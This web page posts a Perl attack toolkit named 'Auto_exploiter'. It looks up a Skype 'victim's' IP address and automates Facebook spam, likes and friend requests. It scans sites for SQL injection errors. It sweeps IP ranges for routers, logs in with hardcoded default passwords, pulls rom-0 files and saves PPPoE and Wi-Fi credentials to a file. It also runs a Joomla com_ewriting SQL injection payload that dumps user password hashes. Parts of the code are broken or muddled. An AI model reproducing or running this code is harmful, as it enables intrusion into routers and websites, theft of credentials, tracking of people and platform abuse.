facebook facebook twitter rss

Auto_exploiter

Author: Sec team , Published: 22-09-2015
#!/usr/bin/perl 
isdo0:
no warnings 'uninitialized';
print "Please Choose On Of the options Below :

[1] Skype ip Grapper \n
[2] SQli detecter \n
[3] Auto Poste liker facebook \n
[4] Reverse ip \n
[5] Auto fb poster \n
[6] Auto fb sender \n
[7] Auto fb Manual adder \n
[8] Auto Wifi Cracker \n
[9] Joomla com_ewriting \n
[10] Time For Fun ! \n
\n";$opt=<>;

if ($opt =~"1"){

use LWP::UserAgent;

no warnings 'uninitialized';

$ua = LWP::UserAgent->new;

$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");

$id2="$ARGV[0]";
system ("firefox http://www.ismailsocial.ga/");

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

if (length $id2) {

print "


------------------------------------------------------------

|

.%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%. |

.%%..%%.....%%............... %%... %%%.......%%.. |

.%%..%%....%%........%%%%%%...%%%%..... %%......%%%.. |

.%%..%%...%%................ %%........%%........%%. |

.%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%.. |

|

|[+] visit : http://www.ismailsocial.ga/ |

|[+] isdo213 | | isdo[at]dr[Dot]com |

|[+] GreetZ: Me && My Bro S213 !

|[+]

------------------------------------------------------------

";





################################################################

print "Trying Server 1 => ";

$ress= $ua->post("http://resolvethem.com",[

'skypeUsername' => $id2,

'submit' => 'Submit',

]);

if ($ress->content =~ /<div id='resolve' class='alert alert-success'>(.*?)<center>/) {

print "$1\n\n";

}

else

{

print "Failed\n\n";

}

################################################################

print "Trying Server 2 => ";

$ress2= $ua->post("http://mostwantedhf.info",[

'skypeName' => $id2,

'resolve' => 'Grab IP',

]);

if ($ress2->content =~ /placeholder="Result" value="(.*?)"/) {

print "$1\n\n";

}

else

{

print "Failed\n\n";

}

################################################################

print "Trying Server 3 => ";

$ress3= $ua->post("http://www.skresolver.com/index.php",[

'skype' => $id2,

'resolveSkype' => 'Grab IP Address Now!',

]);

if ($ress3->content =~ /alt='Avatar'\/><\/a><br>(.*?)<br>(.*?)<\/center>/) {

print "$1\n\nLocation (From Server 3) => $2\n\n";

}

else

{

print "Failed\n\n";

}

################################################################

print "Trying Server 4 => ";

$ress4= $ua->post("http://str3ssed.me/resolver/skyperesolver.php",[

'username' => $id2,

'resolveusername' => 'RESOLVE',

]);

if ($ress4->content =~ /<h4><strong>Server 1:<\/strong> (.*?)<br\/>/) {

print "$1\n\n";

print "Trying Server 5 => ";

if ($ress4->content =~ /<strong>Server 2:<\/strong> (.*?)<br\/>/) {

print "$1\n\n";

print "Trying Server 6 => ";

if ($ress4->content =~ /<strong>Server 3:<\/strong> (.*?)<br\/><br\/><\/h4>/) {

print "$1\n\n";

print "Information => ";

if ($ress4->content =~ /

Country: <b>(.*?)<\/b><\/br>

Region Name: <b> (.*?)<\/b><\/br>

City: <b> (.*?)<\/b><\/br>

ISP: <b> (.*?)<\/b><\/br>/) {

print "\n\nCountry : $1\n\n";

print "Region(State) : $2\n\n";

print "City : $3\n\n";

print "ISP : $4\n\n";

}

}

}

}

else

{

print "Failed\n\n";

}

################################################################

print "################################################\n\n";

print "Finished.Don't Forget To Visit Iran-Cyber.Org ;)\n\n";

}

################################################################################################################################

else {

print "\n";

print "


------------------------------------------------------------

|

.%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%. |

.%%..%%.....%%............... %%... %%%.......%%.. |

.%%..%%....%%........%%%%%%...%%%%..... %%......%%%.. |

.%%..%%...%%................ %%........%%........%%. |

.%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%.. |

|

|[+] http://www.ismailsocial.ga/ |

|[+] isdo213 | | isdo[at]dr[Dot]com |

|[+] GreetZ: Me && My Bro S213 !

|[+]

------------------------------------------------------------

";

print "\n";

print "Type The ID Of Victim : ";

$id=<STDIN>;

chomp($id);

print "\n";

################################################################

print "Trying Server 1 => ";

$res= $ua->post("http://resolvethem.com",[

'skypeUsername' => $id,

'submit' => 'Submit',

]);

if ($res->content =~ /<div id='resolve' class='alert alert-success'>(.*?)<center>/) {

print "$1\n\n";

}

else

{

print "Failed\n\n";

}

################################################################

print "Trying Server 2 => ";

$res2= $ua->post("http://mostwantedhf.info",[

'skypeName' => $id,

'resolve' => 'Grab IP',

]);

if ($res2->content =~ /placeholder="Result" value="(.*?)"/) {

print "$1\n\n";

}else{
print "Failed\n\n";

}

################################################################

print "Trying Server 3 => ";

$res3= $ua->post("http://www.skresolver.com/index.php",[

'skype' => $id,

'resolveSkype' => 'Grab IP Address Now!',

]);

if ($res3->content =~ /alt='Avatar'\/><\/a><br>(.*?)<br>(.*?)<\/center>/) {

print "$1\n\nLocation (From Server 3) => $2\n\n";

}

else

{

print "Failed\n\n";

}

################################################################

print "Trying Server 4 => ";

$res4= $ua->post("http://str3ssed.me/resolver/skyperesolver.php",[

'username' => $id,

'resolveusername' => 'RESOLVE',

]);

if ($res4->content =~ /<h4><strong>Server 1:<\/strong> (.*?)<br\/>/) {

print "$1\n\n";

print "Trying Server 5 => ";

if ($res4->content =~ /<strong>Server 2:<\/strong> (.*?)<br\/>/) {

print "$1\n\n";

print "Trying Server 6 => ";

if ($res4->content =~ /<strong>Server 3:<\/strong> (.*?)<br\/><br\/><\/h4>/) {

print "$1\n\n";

print "Information => ";

if ($res4->content =~ /

Country: <b>(.*?)<\/b><\/br>

Region Name: <b> (.*?)<\/b><\/br>

City: <b> (.*?)<\/b><\/br>

ISP: <b> (.*?)<\/b><\/br>/) {

print "\n\nCountry : $1\n\n";

print "Region(State) : $2\n\n";

print "City : $3\n\n";

print "ISP : $4\n\n";

}

}

}

}

else

{

print "Failed\n\n";

}

################################################################

print "################################################\n\n" ;

}

}
#if ($res4->content =~ /<h4><strong>Server 1:<\/strong> (.*?)<br\/>/) {
#system("nmap -sS -sV -Pn -F $res4");
#}

if ($opt =~"2"){
#The Sql injection Method // simple Vuln detecter 0
system ("firefox http://www.ismailsocial.ga/");
sleep(3);
use LWP::Simple;

$usage = "\n perl $0 <listsql.txt>\nExample : perl $0 listsql.txt\n";

die "$usage" unless $ARGV[0];

$file="$ARGV[0]";

sleep(2);


print "

------------------------------------------------------------

|

.%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%. |

.%%..%%.....%%............... %%... %%%.......%%.. |

.%%..%%....%%........%%%%%%...%%%%..... %%......%%%.. |

.%%..%%...%%................ %%........%%........%%. |

.%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%.. |

|

|[+] http://www.ismailsocial.ga/ |

|[+] isdo213 | | isdo[at]dr[Dot]com |

|[+] GreetZ: Me && My Bro S213 !

|[+]

------------------------------------------------------------

";

print "\tScanning ... (Vulnerable Sites Will Save In isdosql.txt)\n\n";

open("list","<$file") or die "Can't Open Sites List : $!";

while(<list>){

chomp($_);

$site=$_;

if ($site =~ /http:|https:/) {

$get=get "$site";

if ($get =~ /Warning: mysql_fetch_array()|Warning: mysql_query(): |Warning: mysql_query(): Access denied for user|You have an error in your SQL syntax;|Warning: mysql_fetch_array|supplied argument is not a valid MySQL result resource in|There was an error querying the database.|Warning: mysql_fetch_row():|Division by zero in|Call to a member function|Microsoft JET Database|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed|mysql_fetch_object()|argument is not a valid MySQL|Syntax error|Fatal error|mysql_num_rows()|execute query|mysql_num_rows()|mysql_error|error/) {

print "$site => Is Vulnerable\n";

open("isdosql",">>isdosql.txt") or die "Can't Write To File : $!";

#print isdosql "$site\n";

}

} else {

$site2='http://' . $site;

$get2=get "$site2";

if ($get2 =~ /Warning: mysql_fetch_array()|Warning: mysql_query(): |Warning: mysql_query(): Access denied for user|You have an error in your SQL syntax;|Warning: mysql_fetch_array|supplied argument is not a valid MySQL result resource in|There was an error querying the database.|Warning: mysql_fetch_row():|Division by zero in|Call to a member function|Microsoft JET Database|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed|mysql_fetch_object()|argument is not a valid MySQL|Syntax error|Fatal error|mysql_num_rows()|execute query|mysql_num_rows()|mysql_error|error/) {

print "$site2 => Is Vulnerable\n";

open("isdosql",">>isdosql.txt") or die "Can't Write To File : $!";

#print isdosql "$site\n";

}

}

}

print "################################################\n\n";


close("isdosql");

close("list");

}
if ($opt =~"3"){
system ("firefox http://www.ismailsocial.ga/");
print "

------------------------------------------------------------

|

.%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%. |

.%%..%%.....%%............... %%... %%%.......%%.. |

.%%..%%....%%........%%%%%%...%%%%..... %%......%%%.. |

.%%..%%...%%................ %%........%%........%%. |

.%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%.. |

|

|[+] Auto_Liker Post facebook Account |

|[+] isdo213 | | isdo[at]dr[Dot]com |

|[+] GreetZ: Me && My Bro !

|[+] http://www.ismailsocial.ga/

------------------------------------------------------------

";

use strict ;

use warnings ;

use WWW::Mechanize::Firefox;

my $c=0;

print "enter profile facebook : ==> ";my $pro =<>;

my $url = "m.facebook.com/".$pro;

my $ua = WWW::Mechanize::Firefox->new() ;

my $ua2 = WWW::Mechanize::Firefox->new() ;

$ua->get($url) ;

kk:



my @awacha=$ua->find_all_links( url_regex => "like.php") ;

for ( my $i=0;$i<@awacha;$i++){

my $mli7a = $awacha[$i]->url ;

$ua2->get($mli7a) ;

$c++ ;

print "i like $c\n\n"



}

my @piw = $ua->find_link( text_regex => "Afficher plus" ) ;

if ($piw[0]){

$ua->get($piw[0]->url);

goto kk;

}else{

my @bb = $ua->find_link( text_regex => "2015" ) ;

$ua->get($bb[0]->url);

goto kk;

}

}
if ($opt =~"4"){

system ("firefox http://www.ismailsocial.ga/");

use HTTP::Request;

use LWP::UserAgent;



}else{



system("clear");

}

print "

------------------------------------------------------------

|

.%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%. |

.%%..%%.....%%............... %%... %%%.......%%.. |

.%%..%%....%%........%%%%%%...%%%%..... %%......%%%.. |

.%%..%%...%%................ %%........%%........%%. |

.%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%.. |

|

|[+] http://www.ismailsocial.ga/ |

|[+] isdo213 | | isdo[at]dr[Dot]com |

|[+] GreetZ: Me && My Bro S213 !

|[+] http://www.ismailsocial.ga/

------------------------------------------------------------

";


print "\nPut Host or IP (host without http://) :";

my $tar =<>;

chomp($tar);

my $ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5');

my $anaismail = $ua->post('http://domains.yougetsignal.com/domains.php',

{

remoteAddress => $tar,

}

);



my $resulta = $anaismail->content;

while ($resulta =~ m/\[([^\]]*)\]/g)

{

$kifach = $1;

$kifach =~ m/\"(.*?)\", \"?\"/g;


print "http://$1/\n";

}
if($opt =~ "5") {
use strict;
use warnings;
use Data::Dumper;
use CGI qw/:standard/;
use WWW::Mechanize::Firefox;
system ("firefox http://www.ismailsocial.ga/");
print"Enter what you want : ";my $ismail=<>;
my $red="\e[1;31m";
my $normal="\e[0m\n";
my $blue="\e[34m";
my $green="\e[32m";
my $c=0;
my $ld=0;
my $jump=2;
my $filename="msg.html";
my @forms="";
my $site = 'https://m.facebook.com/';
my $mech = WWW::Mechanize::Firefox->new();
$mech->get($site);
my @like="";
my $j=0 ;
svt:
my @links = $mech->links();
my @live="" ;
my @svtt="";
push(@live, $_->url) foreach @links;
for (my $j=0; $j<10; $j++ ){
$mech->form_id('objects_container');
print "form name=".$mech->current_form->{name}."\n";
$mech->submit_form(
with_fields => {
xc_message => "$ismail",

}
);

sleep 5;

}
}
if ($opt =~ "6") {
use strict;
use warnings;
use Data::Dumper;
use CGI qw/:standard/;
use WWW::Mechanize::Firefox;

my $red="\e[1;31m";
my $normal="\e[0m\n";
my $blue="\e[34m";
my $green="\e[32m";
my $c=0;
my $ld=0;
my $jump=2;
my $filename="msg.html";
my @forms="";
print "
[*] ENTRER LE pseudo :
";
print ">" ; my $p=<> ;
print "type whate all people send : " ; my $tirit=<>;

if ($p =~ m/http/ ){
if ($p =~ m/com\/(.*?)\?/g) {
$p =$1 ;
}
}
my $site = 'https://m.facebook.com/'.$p;

my $mech = WWW::Mechanize::Firefox->new();

$mech->get($site);
my @like="";
my $j=0 ;
svt:
my @links = $mech->links();
my @live="" ;
my @svtt="";



push(@live, $_->url) foreach @links;

for( my $i=0; $i<@live; $i++ ){
if ($live[$i] =~ m/messages\/thread/ ){
#print "message link : ".$live[$i]."\n\n" ;
svt:
$mech->get($live[$i]);
#body=kach+jdid+&send=Envoyer
for (my $j=0; $j<10; $j++ ){
$mech->form_id('composerInput');
print "form name=".$mech->current_form->{name}."\n";

$mech->submit_form(
with_fields => {
body => "$tirit",

}
);
goto svt;
}
}
}
}
if ($opt =~ "6") {
system ("firefox http://www.ismailsocial.ga/");
use strict ;
use warnings ;
use WWW::Mechanize::Firefox;

my $c=0;
print "entrer le lyceé ou la ville : ";my $hackertlm =<>;
my $url = "m.facebook.com/search/?query=$hackertlm";
my $mech = WWW::Mechanize::Firefox->new();
my $mech1 = WWW::Mechanize::Firefox->new();
$mech->get($url) ;
ii:
my @is = $mech->find_link (text_regex => "Ajouter" );

for (my $i=0;$i<@is;$i++){

my $isa = $is[$i]->url ;

$mech->get($isa);

print "i add $c\n\n" ;
$c++ ;

}

my $url2 = $mech->find_all_links( url_regex => "/a/mobile/friends");
if ($mech == $url2){

my @url3 = $mech->find_link( text_regex => "Confirmer" ) ;

$mech->get($url3[0]->url);
}



my @ana = $mech->find_link( text_regex => "En voir plus" ) ;
if ($ana[0]){

$mech1->get($ana[0]->url);
goto ii;
}
}

if ($opt =~ "8") {
system ("firefox http://www.ismailsocial.ga/");
print "
------------------------------------------------------------
|
.%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%. |
.%%..%%.....%%............... %%... %%%.......%%.. |
.%%..%%....%%........%%%%%%...%%%%..... %%......%%%.. |
.%%..%%...%%................ %%........%%........%%. |
.%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%.. |
|
|[+] Dz connetion http://www.ismailsocial.ga/ |
|[+] dz coder |codes | |
|[+] GreetZ: ... |
------------------------------------------------------------
\n\n" ;


print "

choose your option

[1] generated (aléatoire)
[2] listed by ip addresses
[3] selected ip


";
$ch1=<> ;

if ($ch1=~1 ) {

$cr = `traceroute -m 2 www.google.dz 2>&1` ; #! pour obtenir le plus proche router :)

my @test = split / / ,$cr ;


$ipb=$test[25] ;
print "Router of algeria telecom close to you is : ",$ipb,"\n\n" ;
ip: ;
chomp($ipb) ;
@ds = split /\./ ,$ipb ;
ips:;
$c = $ds[2] ;
print ("c = " . $c);
$ipe= $ipb ;
for ($j=1;$j<255;$j++) {
if ($c>255){
$ds[2]=0 ;
$ds[1]=$ds[1]+1;
$ds[3]=0 ;
goto ips;
}
$c = $c + 1 ;
$ipb= $ipe ;
chomp($ipb) ;
$ipe=$ds[0].".".$ds[1].".".$c.".0" ;

print "search : [ " .$ipb ." ==> " .$ipe ." ] \n\n" ;


print $live =`fping -a -g $ipb $ipe 2>&1` ;

@live="";


open FILE, ">live.txt" or die $!; print FILE $live; close FILE;


open(FILE, "<", "live.txt");

while(<FILE>) {
chomp;
push(@live, $_);
}
system ('rm live.txt') ;
for( my $i=0; $i<@live; $i++ ){
my @username="";
my @usr="" ;
my @test2="" ;
my @test3="" ;
my @cnx ="" ;
my @pvc ="" ;
use LWP::UserAgent;

$ua = LWP::UserAgent->new;
$ua->timeout(3);
$req = HTTP::Request->new(GET => 'http://'.$live[$i]) ;
$test = $ua->request($req)->as_string;

if ($test =~ m/WWW-Authenticate/ ) {
print "===================================\n\n" ;
print "[+]".$live[$i]. " \n\n" ;

if ($test =~ m/realm="(.*?)"/g ){
$name = $1 ;


print "[+] type of modem : ".$name."\n\n" ;
if ($name =~ "EchoLife Home Gateway" ) {

goto echo;
}


if ($name =~ "TD-W8901G" or $name =~ "ZXV10 W300" or $name =~ "TD-W8961ND" or $name="TD-W8101G" && $name !~ "EchoLife Home Gateway" ) {

$ip= $live[$i] ;
$mac="";
$rep2=0 ;
rep1 : ;

use LWP::UserAgent;
$ua2 = LWP::UserAgent->new;
$ua2->timeout(3);
$req01 = HTTP::Request->new(GET => 'http://'.$ip.'/status/status_deviceinfo.htm') ;

$req01->authorization_basic('admin', 'admin');
$usr1 = $ua2->request($req01)->as_string;


$t =length($usr1) ;
if ($t < 450 ) {
$rep2= $rep2 + 1 ;
if ($rep2 < 4 ) {
goto rep1 ;
}

}
else {
print "password is : admin\n\n" ;
$passwd="admin" ;
goto succ ;
}
$rep3=0 ;
rep3 : ;

use LWP::UserAgent;
$ua2 = LWP::UserAgent->new;
$ua2->timeout(3);
$req01 = HTTP::Request->new(GET => 'http://'.$ip.'/status/status_deviceinfo.htm') ;

$req01->authorization_basic('admin', 'uofpawqi');
$usr1 = $ua2->request($req01)->as_string;


$t =length($usr1) ;
if ($t < 450 ) {
$rep3= $rep3 + 1 ;
if ($rep3 < 4 ) {
goto rep3 ;
}

}
else {
print "password is : uofpawqi ;)\n\n" ;
$passwd="uofpawqi" ;
goto succ ;
}
#===========================get the password ==================================
print "[+] get the password \n\n" ;

$ua2 = LWP::UserAgent->new;
$ua2->timeout(3);
$ua2->timeout(3);
$req2 = HTTP::Request->new(GET => 'http://'.$ip.'/rom-0') ; #!
$test22 = $ua2->request($req2)->content();

open FILE, ">rom-0" or die $!; print FILE $test22; close FILE;
$rep=3 ;


$nk=1;
if ($nk=1) {
$passwd = `./ss rom-0 2>&1` ;
my @passwd = split / / ,$passwd ;
$passwd=$passwd[0];
$passwd =~ s/^\s*(.*?)\s*$/$1/;
print "[+]password is : ".$passwd."\n\n";

system("rm rom-0");

#===========================get the password ====================================================
$rep=0 ;
rep: ;

use LWP::UserAgent;
$ua2 = LWP::UserAgent->new;
$ua2->timeout(3);
$req01 = HTTP::Request->new(GET => 'http://'.$ip.'/status/status_deviceinfo.htm') ;

$req01->authorization_basic('admin', $passwd);
$usr1 = $ua2->request($req01)->as_string;

$t =length($usr1) ;
if ($t < 450 ) {
$rep= $rep + 1 ;
if ($rep < 4 ) {
goto rep ;
}
print "password is wrong \n\n" ;

}
else {
succ: ;
#======================== pvc active ========================================


my @pvc = split /<TR>/ ,$usr1 ;
my @pvv = split / / ,$usr1 ;
my @pvv2 = split /<\/td>/ ,$usr1 ;

if ($name =~ "TD-W8901G"){

my $mac= $pvv[108] ;

$mac = substr($mac, 16, 18);

$mac=~ s/^\s+|\s+$//g ;

print "[+]Mac adress: $mac \n\n" ;

}



for ($j=1;$j<@pvc;$j++) {

if ($pvc[$j] =~ m/PPPoE/ and $pvc[$j] =~ m/Up/ ) {

if ($pvc[$j] =~ m/PVC(.*?)</g ){
$ac = $1 ;
$ac=~ s/^\s+//;
$ac =~ s/\s+$// ;
my @cnx = split /<TD / ,$pvc[$j] ;
if ($cnx[2]=~ m/>(.*?)</g ){
$vci =$1 ;
if ($vci =~ "0/38") {
$conty="fawri" ;
print '[+]conenction : '.$conty. ' '.$vci ."\n\n" ;

}
if ($vci =~ "0/35") {
$conty="easy" ;
print '[+]conenction : '.$conty. ' '.$vci ."\n\n" ;

}
if ($vci =~ "8/35") {
$conty="anis" ;
print '[+]conenction : '.$conty. ' '.$vci ."\n\n" ;

}
}
}

}
}
#========================pvc active========================================
#====================== get user and password page ============================
use LWP::UserAgent;

$ua = LWP::UserAgent->new;

$req2 = HTTP::Request->new(GET => 'http://'.$ip.'/Forms/home_wan_1?HiddenFlag=0&wan_VC=PVC'.$ac.'&wanVCFlag=1&wan_VCStatus=1&Alwan_VPI=1&Alwan_VCI=32') ;
$req2->authorization_basic('admin', $passwd);
$usr = $ua->request($req2)->as_string;
#====================== get user and password page ============================

my @username = split /<INPUT / ,$usr ;
for ($u=1;$u<@username;$u++) {
if ($username[$u] =~ m/NAME="wan_PPPUsername"/ ) {

if ($username[$u] =~ m/VALUE="(.*?)"/g ) {
$username= $1 ;
}
}
}


print '[+]username : "'.$username.'"' ."\n\n";


$url='http://'.$ip.'/basic/tc2wanfun.js';
my $request = new HTTP::Request('GET', $url);
my $response = $ua->request($request);
my $content = $response->content();
my @test2 = split /= / ,$content;
$password = $test2[1] ;
print "[+]password = ".$password."\n\n" ;


#========================wifi active========================================
use LWP::UserAgent;
$ua = LWP::UserAgent->new;

$req03 = HTTP::Request->new(GET => 'http://'.$ip.'/basic/home_wlan.htm') ;

$req03->authorization_basic('admin',$passwd);
$usr3 = $ua->request($req03)->as_string;
$wifi_password="";
$wifi_name="";
$wifi_crypt="";
my @wifi_sel = split /<font /,$usr3 ;
for ($l=1;$l<@wifi_sel;$l++) {

if ($wifi_sel[$l] =~ m/Authentication/ ){


my @wifi = split /<OPTION/ ,$wifi_sel[$l];
for ($k=0;$k<@wifi;$k++) {

if ($wifi[$k]=~ m/SELECTED>(.*)/ ) {
$wifi_crypt = $1 ;
print "[+]wifi cryptage : ".$wifi_crypt."\n\n"

}
}
}
if ($wifi_sel[$l] =~ m/PreSharedKey/ and $wifi_sel[$l] =~ m/wpapskCheck/ ){

if ($wifi_sel[$l]=~ m/VALUE="(.*?)"/g ) {
$wifi_password = $1 ;
print "[+]wifi pass : ".$wifi_password."\n\n"

}
}

else {

if ($wifi_sel[$l] =~ m/NAME="WEP_Key1"/){
if ($wifi_sel[$l]=~ m/VALUE="(.*?)"/g ) {
$wifi_password = $1 ;
print "[+]wifi pass : ".$wifi_password."\n\n"


}
}
}
if ($wifi_sel[$l] =~ m/NAME="ESSID"/ ){

if ($wifi_sel[$l]=~ m/VALUE="(.*?)"/g ) {
$wifi_name = $1 ;
print "[+]wifi name : ".$wifi_name."\n\n";






}
}
}





#========================wifi active========================================
#===============================write in file ============================
$s = "
[+]ip address : $ip
[+]type of modem : $name
[+]password of modem : $passwd
[+]Mac adress : $mac
[+]conenction : $conty $vci
[+]username : $username
[+]password : $password
[+]wifi name : $wifi_name
[+]wifi cryptage : $wifi_crypt
[+]wifi pass : $wifi_password
";
open FILE2, ">>cnx.txt" or die $!; print FILE2 $s; close FILE2;



#===============================write in file===========================







} #! end of else succ login








}else{

print "ereur \n\n" ;
hk:
}



ex:


}
}
#================exploit of EchoLife Home Gateway

#41.102.64.58


if ($name =~ "EchoLife" ){

echo:;
print "[+] get the password \n\n" ;
$ip=$live[$i] ;
$ua2 = LWP::UserAgent->new;
$ua2->timeout(3);
$req2 = HTTP::Request->new(GET => 'http://'.$ip.'/rom-0') ; #!
$test22 = $ua2->request($req2)->content();
open FILE, ">rom-0" or die $!; print FILE $test22; close FILE;
$rep=3 ;
$nk=1;
if ($nk=1) {
$passwd = `./ss rom-0 2>&1` ;
my @passwd = split / / ,$passwd ;
$passwd=$passwd[0];
$passwd =~ s/^\s*(.*?)\s*$/$1/;
print "[+]password is : ".$passwd."\n\n";

system("rm rom-0");
}

use LWP::UserAgent;
$ua2 = LWP::UserAgent->new;

$req01 = HTTP::Request->new(GET => 'http://'.$ip.'/rpSysStatus.html') ;

$req01->authorization_basic('admin', $passwd);
$usr1 = $ua2->request($req01)->as_string;

my @pvc = split /<TR>/ ,$usr1 ;
my @pvv = split / / ,$usr1 ;

$mac = $pvv[183] ;

$mac=~ s/^\s+|\s+$//g ;

print "[+]Mac adress: $mac \n\n" ;


#wifi get EchoLife

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

$req03 = HTTP::Request->new(GET => 'http://'.$ip.'/home_wlan.html') ;

$req03->authorization_basic('admin',$passwd);
$usr3 = $ua->request($req03)->as_string;

$wifi_password="";
$wifi_name="";
$wifi_crypt="";
my @wifi_sel = split /<tr>/,$usr3 ;
for ($l=1;$l<@wifi_sel;$l++) {


if ($wifi_sel[$l] =~ m/Authentication/ ){


my @wifi = split /<OPTION/ ,$wifi_sel[$l];
for ($k=0;$k<@wifi;$k++) {

if ($wifi[$k]=~ m/SELECTED>(.*)/ ) {
$wifi_crypt = $1 ;
print "[+]wifi cryptage : ".$wifi_crypt."\n\n"

}
}
}
if ($wifi_sel[$l] =~ m/PreSharedKey/ and $wifi_sel[$l] =~ m/wpapskCheck/ ){

if ($wifi_sel[$l]=~ m/VALUE="(.*?)"/g ) {
$wifi_password = $1 ;
print "[+]wifi pass : ".$wifi_password."\n\n"

}
}

else {

if ($wifi_sel[$l] =~ m/NAME="WEP_Key1"/){
if ($wifi_sel[$l]=~ m/VALUE="(.*?)"/g ) {
$wifi_password = $1 ;
print "[+]wifi pass : ".$wifi_password."\n\n"


}
}
}
if ($wifi_sel[$l] =~ m/NAME="ESSID"/ ){

if ($wifi_sel[$l]=~ m/VALUE="(.*?)"/g ) {
$wifi_name = $1 ;
print "[+]wifi name : ".$wifi_name."\n\n";

}
}


}#!==== fin wifi get EchoLife




}








#=======================fin exploit EchoLife Home Gateway

}
}
}
}
else {
if ($ch1 =~ "2" ){
print "ip of range :" ; $ipb=<> ;
goto ip;
}
#==========================
# zone de choix numero 3
#==========================
}



ex2:;

}
if ($opt =~ "9") {
system ("firefox http://www.ismailsocial.ga/");


system("color a");

print "Dork: inurl:index.php?option=com_ewriting *\n";
sleep 1;

print "

------------------------------------------------------------

|

.%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%. |

.%%..%%.....%%............... %%... %%%.......%%.. |

.%%..%%....%%........%%%%%%...%%%%..... %%......%%%.. |

.%%..%%...%%................ %%........%%........%%. |

.%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%.. |

|

|[+] http://www.ismailsocial.ga/ |

|[+] isdo213 | | isdo[at]dr[Dot]com |

|[+] GreetZ: Me && My Bro S213 !

|[+] http://www.ismailsocial.ga/

------------------------------------------------------------

";


sleep 1;

use LWP::UserAgent;

print "Enter the target --> ";

chomp(my $target=<STDIN>);

$code="UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+"+pre+"_users--;";

$agent = LWP::UserAgent->new() or die "[!] Error while processing";

$agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011');

$host= $target. "/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1==".$code;

$ok = $agent->request(HTTP::Request->new(GET=>$host));

$ok1 = $ok->content; if ($ok1 =~/([0-9a-fA-F]{32})/){

print "[+] Password found --> $1\n$2\n";



sleep 1;

}

else

{

print "Password not found \n";
}
}

Like us on Facebook :